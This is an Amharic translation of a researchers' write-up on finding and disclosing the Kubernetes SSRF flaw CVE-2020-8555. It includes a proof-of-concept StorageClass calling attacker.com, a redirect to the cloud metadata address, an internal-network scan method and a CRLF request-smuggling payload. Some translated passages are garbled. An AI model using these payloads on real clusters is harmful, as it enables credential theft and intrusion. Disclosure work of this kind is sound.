ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...

ማስታወሻ. ትርጉም: የዚህ ጽሁፍ አዘጋጆች ተጋላጭነቱን እንዴት ማግኘት እንደቻሉ በዝርዝር ይናገራሉ CVE-2020-8555 በኩበርኔትስ ውስጥ. ምንም እንኳን መጀመሪያ ላይ በጣም አደገኛ ባይመስልም ከሌሎች ምክንያቶች ጋር ተዳምሮ ለአንዳንድ የደመና አቅራቢዎች ወሳኝነቱ ከፍተኛ ሆኖ ተገኝቷል። በርካታ ድርጅቶች ስፔሻሊስቶችን ለሥራቸው በልግስና ሸልመዋል።

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...

እኛ ማን ነን

እኛ ሁለቱ የፈረንሳይ የደህንነት ተመራማሪዎች በኩበርኔትስ ውስጥ ተጋላጭነትን በጋራ ያወቅን ነን። ስማችን Brice Augras እና Christophe Hauquiert ነው፣ ነገር ግን በብዙ የ Bug Bounty መድረኮች ላይ እንደቅደም ተከተላቸው Reeverzax እና Hach እንባላለን፡-

ምንድን ነው የሆነው?

ይህ ጽሑፍ ተራ የምርምር ፕሮጀክት በድንገት በትልች አዳኞች ሕይወት ውስጥ (ቢያንስ ለአሁኑ) እጅግ አስደሳች ጀብዱ እንዴት እንደተለወጠ የምንጋራበት መንገድ ነው።

እንደሚታወቀው፣ የሳንካ አዳኞች ሁለት የሚታወቁ ባህሪያት አሏቸው፡-

  • በፒዛ እና ቢራ ላይ ይኖራሉ;
  • ሁሉም ሰው ሲተኛ ይሠራሉ.

ከእነዚህ ሕጎች የተለየን አይደለንም፡ ብዙውን ጊዜ ቅዳሜና እሁድ እንገናኛለን እና እንቅልፍ አልባ ሌሊቶችን ለመጥለፍ እናሳልፋለን። ነገር ግን ከእነዚህ ምሽቶች አንዱ ባልተለመደ መንገድ ተጠናቀቀ።

መጀመሪያ ላይ ስለ መሳተፍ ለመወያየት እንገናኝ ነበር ሲቲኤፍ በሚቀጥለው ቀን. በሚተዳደር የአገልግሎት አካባቢ ውስጥ ስለ ኩበርኔትስ ደህንነት በተነጋገርንበት ወቅት ፣ የ SSRF አሮጌውን ሀሳብ አስታውሰናል (የአገልጋይ-ጎን ጥያቄ ማጭበርበር) እና እንደ የጥቃት ስክሪፕት ለመጠቀም ወስኗል።

ከቀኑ 11፡XNUMX ላይ ምርምር ለማድረግ ተቀመጥን እና በውጤቱ በጣም ረክተን በማለዳ ተኛን። በዚህ ጥናት ምክንያት ነበር ከMSRC Bug Bounty ፕሮግራም ጋር የተገናኘን እና የልዩ መብት መስፋፋትን ያመጣነው።

ብዙ ሳምንታት/ወራቶች አለፉ፣ እና ያልተጠበቀው ውጤታችን በ Azure Cloud Bug Bounty ታሪክ ውስጥ ከፍተኛ ሽልማቶችን አስገኝቷል - ከኩበርኔትስ ከተቀበልነው በተጨማሪ!

በምርምር ፕሮጀክታችን መሰረት የኩበርኔትስ የምርት ደህንነት ኮሚቴ አሳተመ CVE-2020-8555.

አሁን በተቻለ መጠን ስለተገኘው ተጋላጭነት መረጃን ማሰራጨት እፈልጋለሁ። ግኝቱን እንደሚያደንቁ እና ቴክኒካዊ ዝርዝሮችን ለሌሎች የ infosec ማህበረሰብ አባላት እንደሚያጋሩ ተስፋ እናደርጋለን!

ታሪካችን እነሆ...

ዐውደ-ጽሑፍ

የተከሰተውን ነገር የበለጠ ለመረዳት በመጀመሪያ ኩበርኔትስ በደመና በሚተዳደር አካባቢ እንዴት እንደሚሰራ እንመልከት።

በእንደዚህ አይነት አካባቢ ውስጥ የኩበርኔትስ ክላስተርን በቅጽበት ሲያደርጉ የአስተዳደር ንብርብር በተለምዶ የደመና አቅራቢው ሃላፊነት ነው፡

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...
የመቆጣጠሪያው ንብርብር በደመና አቅራቢው ዙሪያ የሚገኝ ሲሆን የኩበርኔትስ ኖዶች ደግሞ በደንበኛው ዙሪያ ይገኛሉ

ጥራዞችን በተለዋዋጭ ለመመደብ፣ አንድ ዘዴ በተለዋዋጭ ከውጫዊ ማከማቻ ጀርባ ለማቅረብ እና ከ PVC ጋር ለማነፃፀር ጥቅም ላይ ይውላል (የማያቋርጥ የይገባኛል ጥያቄ ፣ ማለትም የድምፅ ጥያቄ)።

ስለዚህ, PVC ከተፈጠረ እና በ K8s ክላስተር ውስጥ ካለው የማከማቻ ክፍል ጋር ከተጣበቀ በኋላ, ድምጹን ለማቅረብ ተጨማሪ እርምጃዎች በኩቤ / ደመና ተቆጣጣሪው ስራ አስኪያጅ ይወሰዳሉ (ትክክለኛው ስሙ በመለቀቁ ላይ የተመሰረተ ነው). (ማስታወሻ. ትርጉምለአንዱ የደመና አቅራቢዎች የአተገባበሩን ምሳሌ በመጠቀም ስለ CCM ቀደም ብለን ጽፈናል። እዚህ.)

በኩበርኔትስ የሚደገፉ በርካታ የአቅራቢዎች አይነቶች አሉ፡ አብዛኛዎቹ በ ውስጥ ተካትተዋል። ኦርኬስትራ ኮር፣ ሌሎች ደግሞ በክላስተር ውስጥ በፖድ ውስጥ በተቀመጡ ተጨማሪ አቅራቢዎች የሚተዳደሩ ናቸው።

በጥናታችን ውስጥ፣ ከዚህ በታች በተገለጸው የውስጥ የድምጽ አቅርቦት ዘዴ ላይ አተኩረናል፡

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...
አብሮ የተሰራውን Kubernetes አቅራቢን በመጠቀም የጥራዞችን ተለዋዋጭ አቅርቦት

በአጭር አነጋገር ኩበርኔትስ በሚተዳደር አካባቢ ውስጥ ሲሰራጭ የመቆጣጠሪያው ስራ አስኪያጅ የደመና አቅራቢው ሃላፊነት ነው, ነገር ግን የድምጽ መፈጠር ጥያቄ (ከላይ ባለው ሥዕላዊ መግለጫ ላይ ቁጥር 3) የደመና አቅራቢውን ውስጣዊ አውታረመረብ ይተዋል. እና ነገሮች በጣም የሚስቡበት ይህ ነው!

የጠለፋ ሁኔታ

በዚህ ክፍል ከላይ የተጠቀሰውን የስራ ሂደት እንዴት እንደጠቀመን እና የደመና አገልግሎት አቅራቢውን የውስጥ ግብአት እንዴት እንደደረስን እናብራራለን። እንደ ውስጣዊ ምስክርነቶችን ማግኘት ወይም ልዩ መብቶችን የመሳሰሉ አንዳንድ ድርጊቶችን እንዴት ማከናወን እንደሚችሉ ያሳይዎታል።

አንድ ቀላል ማጭበርበር (በዚህ ጉዳይ ላይ፣ የአገልግሎት ጎን ጥያቄ ፎርጀሪ) ከደንበኛው አካባቢ አልፎ በሚተዳደር K8s ስር ወደተለያዩ የአገልግሎት አቅራቢዎች ስብስቦች ለመግባት ረድቷል።

በምርመራችን በ GlusterFS አቅራቢው ላይ አተኩረን ነበር። ምንም እንኳን የተጨማሪ የእርምጃዎች ቅደም ተከተል በዚህ አውድ ውስጥ ቢገለጽም, Quobyte, StorageOS እና ScaleIO ለተመሳሳይ ተጋላጭነት የተጋለጡ ናቸው.

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...
ተለዋዋጭ የድምጽ አቅርቦት ዘዴን አላግባብ መጠቀም

በማከማቻ ክፍል ትንተና ወቅት ግሉስተርኤፍኤስ በጎላንግ ደንበኛ ምንጭ ኮድ እኛ አስተውሏልበመጀመሪያው የኤችቲቲፒ ጥያቄ (3) የድምጽ መጠን በሚፈጠርበት ጊዜ በመለኪያው ውስጥ ወደ ብጁ ዩአርኤል መጨረሻ የተላከ ነው። resturl ታክሏል /volumes.

ይህንን ተጨማሪ መንገድ በማከል ለማስወገድ ወስነናል # በመለኪያ resturl. ከፊል ዓይነ ስውር የSSRF ተጋላጭነትን ለመፈተሽ የተጠቀምነው የመጀመሪያው የ YAML ውቅር ይኸውና። (ስለ ከፊል ዓይነ ስውር ወይም ከፊል ዕውር SSRF የበለጠ ማንበብ ትችላለህ፣ ለምሳሌ፣ እዚህ - በግምት. መተርጎም):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

ከዚያም የኩበርኔትስ ክላስተርን በርቀት ለማስተዳደር ሁለትዮሽ ተጠቀምን። kubectl. በተለምዶ፣ የደመና አቅራቢዎች (Azure፣ Google፣ AWS፣ ወዘተ.) በዚህ መገልገያ ውስጥ ለመጠቀም ምስክርነቶችን እንዲያገኙ ያስችሉዎታል።

ለዚህም ምስጋና ይግባውና የእኔን "ልዩ" ፋይል መጠቀም ችያለሁ. የኩቤ-ተቆጣጣሪ-አስተዳዳሪ የኤችቲቲፒ ጥያቄን ፈጽሟል፡-

kubectl create -f sc-poc.yaml

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...
መልሱ ከአጥቂው እይታ

ከዚህ በኋላ ብዙም ሳይቆይ፣ ከዒላማው አገልጋይ የኤችቲቲፒ ምላሽ ማግኘት ችለናል - በትእዛዞች describe pvc ወይም get events በ kubectl. እና በእርግጥ፡ ይህ ነባሪ የኩበርኔትስ ሾፌር በማስጠንቀቂያዎቹ/የስህተት መልእክቶቹ ውስጥ በጣም ቃላቶች ናቸው።

አገናኝ ያለው ምሳሌ እዚህ አለ። https://www.google.frእንደ መለኪያ ያዘጋጁ resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...

በዚህ አቀራረብ፣ በመሳሰሉት ጥያቄዎች ብቻ ተወስነናል። HTTP POST እና የመመለሻ ኮድ ከሆነ የምላሹን አካል ይዘት ማግኘት አልቻለም 201. ስለዚህ፣ ተጨማሪ ምርምር ለማድረግ ወስነን እና ይህንን የጠለፋ ሁኔታ በአዲስ አቀራረቦች አስፋፍተናል።

የኛ ምርምር ዝግመተ ለውጥ

  • የላቀ ሁኔታ #1፡ ከውጪ አገልጋይ 302 ማዘዋወርን በመጠቀም የኤችቲቲፒ ዘዴን ለመቀየር የበለጠ ተለዋዋጭ የውስጥ ውሂብን ለመሰብሰብ።
  • የላቀ ሁኔታ #2፡ የ LAN ቅኝት እና የውስጥ ሃብት ግኝትን በራስ ሰር።
  • የላቀ ሁኔታ #3፡ የተበጀ የኤችቲቲፒ ጥያቄዎችን ለመፍጠር እና ከኩቤ-ተቆጣጣሪ ምዝግብ ማስታወሻዎች የወጣውን ውሂብ ለማውጣት HTTP CRLF + ማዘዋወርን ("ኮንትሮባንድ ጠይቅ") በመጠቀም።

ቴክኒካዊ ዝርዝሮች

  • ጥናቱ Azure Kubernetes Service (AKS) ከ Kubernetes ስሪት 1.12 ጋር በሰሜን አውሮፓ ክልል ተጠቅሟል።
  • ከላይ የተገለጹት ሁኔታዎች የተፈጸሙት ከሦስተኛው ሁኔታ በስተቀር በ Kubernetes የቅርብ ጊዜ እትሞች ላይ ነው፣ ምክንያቱም ከጎላንግ ስሪት ≤ 1.12 ጋር አብሮ የተሰራ ኩበርኔትስ ያስፈልገዋል።
  • የአጥቂ ውጫዊ አገልጋይ - https://attacker.com.

የላቀ ሁኔታ #1፡ የኤችቲቲፒ POST ጥያቄን ወደ GET አቅጣጫ መቀየር እና ሚስጥራዊነት ያለው መረጃ መቀበል

ለመመለስ የመጀመሪያው ዘዴ በአጥቂው አገልጋይ ውቅር ተሻሽሏል። 302 HTTP RetcodeየPOST ጥያቄን ወደ GET ጥያቄ ለመቀየር (በሥዕላዊ መግለጫው ውስጥ ደረጃ 4)

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...

የመጀመሪያ ጥያቄ (3) ከደንበኛው የሚመጣ ግሉስተርኤፍኤስ (ተቆጣጣሪ አስተዳዳሪ)፣ የPOST አይነት አለው። እነዚህን ደረጃዎች በመከተል ወደ GET ልንለውጠው ችለናል፡

  • እንደ መለኪያ resturl በ StorageClass ውስጥ ተጠቁሟል http://attacker.com/redirect.php.
  • የመጨረሻ ነጥብ https://attacker.com/redirect.php በሚከተለው የአካባቢ ራስጌ በ302 HTTP ሁኔታ ኮድ ምላሽ ይሰጣል፡- http://169.254.169.254. ይህ ሌላ ማንኛውም የውስጥ ሀብት ሊሆን ይችላል - በዚህ ጉዳይ ላይ የማዞሪያ ማገናኛ እንደ ምሳሌ ብቻ ጥቅም ላይ ይውላል.
  • በነባሪ net/http ቤተ መጻሕፍት ጎላንግ ጥያቄውን በማዞር POSTን ወደ GET ከ 302 ሁኔታ ኮድ በመቀየር የኤችቲቲፒ GET ጥያቄን ወደ ዒላማው ግብአት አስከትሏል።

የኤችቲቲፒ ምላሽ አካልን ለማንበብ ማድረግ ያስፈልግዎታል describe የ PVC ነገር;

kubectl describe pvc xxx

በJSON ቅርጸት ልንቀበለው የቻልነው የኤችቲቲፒ ምላሽ ምሳሌ ይኸውና፡

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...

በሚከተሉት ነጥቦች ምክንያት በወቅቱ የተገኘው የተጋላጭነት አቅም ውስን ነበር።

  • የኤችቲቲፒ ራስጌዎችን ወደ ወጪ ጥያቄ ማስገባት አለመቻል።
  • በሰውነት ውስጥ ካሉ መለኪያዎች ጋር የPOST ጥያቄን ማከናወን አለመቻል (ይህ በርቶ ካለው ወዘተd ምሳሌ ቁልፍ እሴቱን ለመጠየቅ ምቹ ነው) 2379 ያልተመሰጠረ HTTP ጥቅም ላይ ከዋለ ወደብ).
  • የሁኔታ ኮድ 200 ሲሆን እና ምላሹ የJSON ይዘት አይነት ሳይኖረው የምላሽ አካል ይዘትን ማውጣት አለመቻል።

የላቀ ሁኔታ #2፡ የአካባቢ አውታረ መረብን መቃኘት

ይህ የግማሽ ዓይነ ስውር የኤስ.ኤስ.አር.ኤፍ ዘዴ በመቀጠል የደመና አቅራቢውን የውስጥ አውታረ መረብ ለመቃኘት እና የተለያዩ የማዳመጥ አገልግሎቶችን (ሜታዳታ ለምሳሌ ኩቤሌት፣ ወዘተ. ወዘተ.) በሰጡት ምላሾች መሰረት ለመቃኘት ጥቅም ላይ ውሏል። የኩቤ መቆጣጠሪያ.

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...

በመጀመሪያ የኩበርኔትስ አካላት መደበኛ የመስማት ችሎታ ወደቦች ተወስነዋል (8443 ፣ 10250 ፣ 10251 ፣ ወዘተ) እና ከዚያ የፍተሻ ሂደቱን በራስ-ሰር ማድረግ አለብን።

ይህ የመቃኘት ዘዴ በጣም የተለየ እና ከጥንታዊ ስካነሮች እና SSRF መሳሪያዎች ጋር የማይጣጣም መሆኑን በመመልከት፣ አጠቃላይ ሂደቱን በራስ ሰር በሚያሰራ የራሳችንን ሰራተኞች በባሽ ስክሪፕት ለመፍጠር ወሰንን።

ለምሳሌ የውስጣዊ ኔትወርክን 172.16.0.0/12 በፍጥነት ለመቃኘት 15 ሰራተኞች በትይዩ ተጀምረዋል። ከላይ ያለው የአይፒ ክልል እንደ ምሳሌ ብቻ ተመርጧል እና ወደ እርስዎ ልዩ አገልግሎት አቅራቢ IP ክልል ሊቀየር ይችላል።

አንድ የአይፒ አድራሻ እና አንድ ወደብ ለመቃኘት የሚከተሉትን ማድረግ አለብዎት:

  • የመጨረሻውን የተረጋገጠ የማከማቻ ክፍል መሰረዝ;
  • ቀዳሚውን የተረጋገጠ የቋሚ መጠን የይገባኛል ጥያቄን ያስወግዱ;
  • የአይፒ እና የፖርት ዋጋዎችን ይቀይሩ sc.yaml;
  • አዲስ አይፒ እና ወደብ ያለው የማከማቻ ክፍል መፍጠር;
  • አዲስ PVC ይፍጠሩ;
  • ለ PVC ገለፃን በመጠቀም የፍተሻ ውጤቶችን ያውጡ።

የላቀ ሁኔታ #3፡ የ CRLF መርፌ + ህገወጥ ኤችቲቲፒ በ “አሮጌ” የኩበርኔትስ ክላስተር ስሪቶች

ከዚህ በተጨማሪ አቅራቢው ለደንበኞች የቆዩ የK8s ክላስተር ስሪቶችን አቅርቧል и የኩቤ-ተቆጣጣሪ-አስተዳዳሪ ምዝግብ ማስታወሻዎችን መዳረሻ ሰጣቸው፣ ውጤቱም የበለጠ ጉልህ ሆነ።

ሙሉ የኤችቲቲፒ ምላሽ ለማግኘት የተነደፉትን የኤችቲቲፒ ጥያቄዎችን ለመለወጥ አጥቂው በራሱ ፍላጎት የበለጠ ምቹ ነው።

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...

የመጨረሻውን ሁኔታ ተግባራዊ ለማድረግ የሚከተሉት ሁኔታዎች መሟላት ነበረባቸው።

  • ተጠቃሚው የኩቤ-ተቆጣጣሪ-አስተዳዳሪ ምዝግብ ማስታወሻዎችን መድረስ አለበት (ለምሳሌ በ Azure LogInsights)።
  • የኩበርኔትስ ክላስተር ከ1.12 በታች የሆነ የጎላንግ ስሪት መጠቀም አለበት።

በGlusterFS Go ደንበኛ እና በውሸት ኢላማ አገልጋይ መካከል ግንኙነትን የሚያስመስል አካባቢያዊ አካባቢ አሰማርተናል (PoC ን ለአሁኑ ከማተም እንቆጠባለን።)

ተገኝቷል ተጋላጭነትከ1.12 በታች የሆኑ የጎላንግ ስሪቶች ላይ ተጽእኖ ማሳደር እና ሰርጎ ገቦች የኤችቲቲፒ ኮንትሮባንድ/CRLF ጥቃቶችን እንዲፈጽሙ መፍቀድ።

ከላይ የተገለፀውን ግማሽ-ዓይነ ስውር SSRF በማጣመር вместе ከዚህ ጋር፣ ራስጌዎችን፣ HTTP ዘዴን፣ መለኪያዎችን እና ዳታዎችን በመተካት ኩቤ-ተቆጣጣሪ-አስተዳዳሪን ጨምሮ ወደ ምርጫችን ጥያቄዎችን መላክ ችለናል።

በመለኪያ ውስጥ የሚሰራ “ማጥመጃ” ምሳሌ እዚህ አለ። resturl ተመሳሳይ የጥቃት ሁኔታን ተግባራዊ የሚያደርግ ማከማቻ ክፍል፡

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ውጤቱ ስህተት ነው ያልተፈለገ ምላሽ, በመቆጣጠሪያ ምዝግብ ማስታወሻዎች ውስጥ ስለተመዘገበው መልእክት. በነባሪነት ለቃለ ቃል ምስጋና ይግባውና የኤችቲቲፒ ምላሽ መልእክት ይዘቶች እዚያም ተቀምጠዋል።

ስለ ኩበርኔትስ ተጋላጭነት ብቻ ሳይሆን...

ይህ በፅንሰ-ሀሳብ ማረጋገጫ ማዕቀፍ ውስጥ የእኛ በጣም ውጤታማ “ማጥመጃ” ነበር።

ይህንን አካሄድ በመጠቀም፣ በተለያዩ የሚተዳደር k8s አቅራቢዎች ስብስቦች ላይ ከሚከተሉት ጥቃቶች ጥቂቶቹን መፈጸም ችለናል፡ ልዩ መብቶችን በሜታዳታ ጉዳዮች ላይ ምስክርነቶችን ማሳደግ፣ Master DoS በ(ያልመሰጠረ) HTTP በ etcd ዋና አጋጣሚዎች ላይ ወዘተ.

ውጤቶች

ያገኘነውን የኤስኤስአርኤፍ ተጋላጭነት በተመለከተ በኩበርኔትስ ይፋዊ መግለጫ ደረጃ ተሰጥቶታል። ሲቪኤስኤስ 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. ከ Kubernetes ፔሪሜትር ጋር የተገናኘውን ተጋላጭነት ብቻ ከግምት ውስጥ ካስገባን, የአቋም ቬክተር (ኢንቴግሪቲ ቬክተር) እንደ ብቁ ያደርገዋል አንድም.

ነገር ግን፣ ከተቀናበረ የአገልግሎት አካባቢ አንፃር ሊያስከትሉ የሚችሉትን መዘዞች መገምገም (እና ይህ የኛ ምርምሮች በጣም አስደሳች ክፍል ነበር!) ተጋላጭነቱን እንደገና ወደ ደረጃ እንድንለይ አነሳሳን። ወሳኝ CVSS10/10 ለብዙ አከፋፋዮች.

በደመና አካባቢዎች ላይ ሊደርሱ የሚችሉትን ተፅዕኖዎች ሲገመግሙ የኛን ግምት እንድትረዱ የሚያግዝዎ ተጨማሪ መረጃ ከዚህ በታች አለ።

ጽኑነት

  • የተገኙ የውስጥ ምስክርነቶችን በመጠቀም ትዕዛዞችን በርቀት ያስፈጽሙ።
  • ከላይ ያለውን ሁኔታ በ IDOR (ደህንነቱ ያልተጠበቀ ቀጥተኛ ነገር ማጣቀሻ) ዘዴን ከሌሎች የአካባቢ አውታረ መረቦች ጋር በማባዛት ላይ።

ሚስጢራዊነት

  • የጥቃት አይነት የዘገየ እንቅስቃሴ ለደመና ምስክርነቶች ስርቆት ምስጋና ይግባው (ለምሳሌ ሜታዳታ ኤፒአይ)።
  • የአካባቢያዊ አውታረ መረብን በመቃኘት መረጃን መሰብሰብ (የኤስኤስኤች ስሪት ፣ የኤችቲቲፒ አገልጋይ ስሪት ፣ ...)።
  • እንደ ሜታዳታ ኤፒአይ ያሉ የውስጥ ኤፒአይዎችን በመምረጥ የአብነት እና የመሠረተ ልማት መረጃን ይሰብስቡ (http://169.254.169.254፣…)
  • የደመና ምስክርነቶችን በመጠቀም የደንበኛ ውሂብ መስረቅ።

መገኘት

ከጥቃት ቬክተሮች ጋር የተያያዙ ሁሉም ሁኔታዎች ይበዘብዛሉ ታማኝነት፣ ለአጥፊ ድርጊቶች ጥቅም ላይ ሊውል ይችላል እና ከደንበኛው ፔሪሜትር (ወይም ሌላ ማንኛውም) የማይገኝ ከሆነ ወደ ዋና ምሳሌዎች ሊመራ ይችላል።

በሚተዳደር የK8s አካባቢ ውስጥ ስለነበርን እና በአቋም ላይ ያለውን ተጽእኖ እየገመገምን በተገኝነት ላይ ተጽዕኖ ሊያሳርፉ የሚችሉ ብዙ ሁኔታዎችን መገመት እንችላለን። ተጨማሪ ምሳሌዎች የ etcd ዳታቤዝ ማበላሸት ወይም ወደ Kubernetes API ወሳኝ ጥሪ ማድረግን ያካትታሉ።

የጊዜ መስመር

  • ዲሴምበር 6፣ 2019፡ ተጋላጭነት ለMSRC Bug Bounty ሪፖርት ተደርጓል።
  • ጃንዋሪ 3፣ 2020፡- በሶስተኛ ወገን ለኩበርኔትስ ገንቢዎች በደህንነት ጉዳይ ላይ እየሰራን መሆኑን አሳወቀ። እና SSRF እንደ ውስጣዊ (ውስጠ-ኮር) ተጋላጭነት እንዲቆጥሩ ጠይቋል። ከዚያም የችግሩን ምንጭ በተመለከተ ቴክኒካዊ ዝርዝሮችን የያዘ አጠቃላይ ዘገባ አቅርበናል።
  • እ.ኤ.አ.
  • ጃንዋሪ 15፣ 2020፡ የኩበርኔትስ ገንቢዎች ግማሽ ዓይነ ስውር SSRF + CRLF መርፌ ላለፉት ልቀቶች እንደ ውስጠ-አደጋ ተጋላጭነት እንደሚቆጠር አሳውቀውናል። ወዲያውኑ የሌሎች አገልግሎት አቅራቢዎችን ዙሪያ መተንተን አቆምን፡ የK8s ቡድን አሁን ከዋናው መንስኤ ጋር እየተገናኘ ነበር።
  • ጃንዋሪ 15፣ 2020፡ የMSRC ሽልማት በ HackerOne በኩል ተቀብሏል።
  • ጃኑዋሪ 16፣ 2020፡ ኩበርኔትስ ፒኤስሲ (የምርት ደህንነት ኮሚቴ) ተጋላጭነቱን አውቆ እስከ መጋቢት አጋማሽ ድረስ ተጎጂ ሊሆኑ የሚችሉ በርካታ ቁጥር ስላላቸው ምስጢሩን እንዲይዝ ጠይቋል።
  • ፌብሩዋሪ 11፣ 2020፡ የGoogle ቪአርፒ ሽልማት ተቀብሏል።
  • ማርች 4፣ 2020፡ የኩበርኔትስ ሽልማት በHackerOne በኩል ተቀብሏል።
  • ማርች 15፣ 2020፡ በኮቪድ-19 ሁኔታ በመጀመሪያ መርሐግብር የተያዘለት ህዝባዊ መግለጫ ለሌላ ጊዜ ተላልፏል።
  • ሰኔ 1፣ 2020፡ ኩበርኔትስ + ማይክሮሶፍት ሾለ ተጋላጭነቱ የጋራ መግለጫ።

TL; DR

  • ቢራ ጠጥተን ፒዛ እንበላለን :)
  • ምንም እንኳን ለማድረግ ምንም ፍላጎት ባይኖረንም በኩበርኔትስ ውስጥ የውስጠ-አደጋ ተጋላጭነትን አግኝተናል።
  • በተለያዩ የደመና አቅራቢዎች ስብስቦች ላይ ተጨማሪ ትንታኔዎችን አድርገናል እና ተጨማሪ አስደናቂ ጉርሻዎችን ለማግኘት በተጋላጭነት የሚደርሰውን ጉዳት ማሳደግ ችለናል።
  • በዚህ ጽሑፍ ውስጥ ብዙ ቴክኒካዊ ዝርዝሮችን ያገኛሉ. ከእርስዎ ጋር ብንወያይ ደስተኞች ነን (ትዊተር፡- @ReeverZax & @__hach_).
  • ሁሉም ዓይነት ፎርማሊቲዎች እና ዘገባዎች ከተጠበቀው በላይ ብዙ ጊዜ እንደወሰዱ ታወቀ።

ማጣቀሻዎች

PS ከተርጓሚ

በብሎጋችን ላይ ያንብቡ፡-

ምንጭ: hab.com

አስተያየት ያክሉ